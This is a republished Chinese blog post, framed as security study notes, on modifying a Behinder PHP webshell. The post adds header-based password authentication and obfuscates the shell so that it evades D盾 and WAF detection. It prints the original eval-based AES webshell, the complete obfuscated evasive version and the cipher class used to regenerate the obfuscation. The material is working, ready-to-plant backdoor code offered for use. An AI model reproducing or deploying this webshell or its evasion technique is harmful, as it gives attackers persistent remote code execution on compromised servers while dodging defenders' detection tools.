本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记 文章目录 文章目录 文章目录前文链接前言效果目标密码验证功能免杀后话 前文链接 WAMP/DVWA/sqli-labs 搭
之前发的免杀文章有人说失效了。确实失效了。shellcode的免杀失效了,WEBshell的免杀被杀了。按理说我应该把之前的文章删掉。但是我不仅没有删,还开了一个专栏叫免杀。因为免杀这种东西,就是提供一个思路。你顺着这个思路,自己对你的shellcode或者webshell进行改造。然后不要发到网上去。发到网上去就会被waf的爬虫找到,然后你的免杀就失效了。我在写之前的文章就料到有这样一天。免杀还是靠自己的编程基础来实现,网上的就是提供一个思路,这篇文章中提供的webshell也可能很快就会失效,和waf作战本就是艰苦卓绝。只有举一反三,求本逐妙,才能在与waf的战斗中得胜。
最近喜欢用冰蝎,因为它比较强。但是免杀效果不太行。本文以PHP webshell的default_aes编码器为例,实现密码验证和免杀实现。
先看下原本的webshell
php@error_reporting(0);function Decrypt($data){$key="e45e329feb5d925b"; //¸ÃÃÜԿΪÁ¬½ÓÃÜÂë32λmd5ÖµµÄÇ°16λ£¬Ä¬ÈÏÁ¬½ÓÃÜÂërebeyondreturn openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);}$post=Decrypt(file_get_contents("php://input")); eval($post);?>
WEBDIR
D盾
再看下免杀之后的马子
D盾
WEBDIR
可见免杀效果是非常的好
两个目标
1. 实现密码验证功能
2. 实现免杀
直接生成的马子,是没有密码验证功能的,用冰蝎连接的时候输链接就可以了
也是非常的捞。
但是我们可以指定请求头,这样我们就可以从请求头下手。
首先查看源代码
先定义了一个函数,接着获取请求内容,解密,接着直接eval执行。
可以蒙到核心代码是这两行
只要再这两行代码前加上密码验证的语句就ok了。
例如,我要验证请求头中Pass的内容是否为password
先获取请求头中是否存在Pass段,若存在则进入验证。
改造之后是这样
$b=0;if (array_key_exists('Pass',apache_request_headers())) { $b=apache_request_headers()['Pass']==='passWord';}if ($b) { $post = Decrypt(file_get_contents("php://input")); eval($post);}
当然也可以自己修改,注意大小写,Pass第一位必须大写,否则识别不了。
这样修改之后,在连接时要在请求头处设置内容。
当然也可以自行修改你的密码。
先把免杀后的webshell贴出来。
error_reporting(0);function d($a){ return openssl_decrypt(base64_decode($a), base64_decode(strrev(str_rot13('=V0DS1PBlRGYGIHD'))), base64_decode(str_rot13('MGD1MGZlBJ') . strrev('==gY1ITOkVjYlZ')), OPENSSL_PKCS1_PADDING);}function p($k){ $s = 0; foreach (str_split($k) as $a) { foreach (str_split(ord($a) . "") as $b) { $s += $b; } } while (10 > $s && $s < 100) { if (10 < $s) $s = $s * 2; else $s = $s / 3; } return $s;}function a($b){ $r = ""; foreach (str_split(base64_decode($b)) as $s) { $r .= chr(ord($s) - p("dvcqazjiomk")); } return $r;}$p = d('IHwa8t2BcjZISwq2jfqEHw==');$f = 0;if (array_key_exists('Pass', apache_request_headers())) $f = apache_request_headers()['Pass'] === $p;if ($f) $c = a('vMu+us2+uL/Ox7zNwsjH')("", a('vs+6xYG9gb/Cxb64wL7NuLzIx82+x83Mgb2Be5GywMKqx4zTs6C7s8TFqNGIrsSIitCWlnuCGoKClA=='));$c(); ?>
使用时请指定请求头为:Pass:password
写到这里突然不想写了,大概讲一下。
d()函数是aes解密函数,里面的字符串我做了一点小小的处理。
p()函数是辅助函数,传入一个字符串会返回一个10到100之间的整数。
a()函数是解密函数,把加密后的代码进行解密。里面的kiocpmg是密钥。可以自己改。
简单来说就是把里面的字符串加密了,然后混淆视听,让waf认不出来。
把加密算法也贴一下吧,密钥改一下就可以让代码改头换面了。反正核心还是一样。
class Cipher{ public static $key = 'abcdefg'; function parse($key) { $s = 0; foreach (str_split($key) as $a) { foreach (str_split(ord($a) . "") as $b) { $s += $b; } } while (10 > $s && $s < 100) { if (10 < $s) $s = $s * 2; else $s = $s / 3; } return $s; } function en($data) { $res = ""; foreach (str_split($data) as $s) { $res .= chr(ord($s) + self::parse(self::$key)); } return base64_encode($res); } function de($data) { $res = ""; $data = base64_decode($data); foreach (str_split($data) as $s) { $res .= chr(ord($s) - self::parse(self::$key)); } return $res; }}
还是那句话,网上的免杀就是看个热闹,真要免杀还是要自己动手。
来源地址:https://blog.csdn.net/realmels/article/details/128354530
--结束END--
本文标题: 改造冰蝎马,实现免杀之default_aes php
本文链接: https://lsjlt.com/news/388405.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0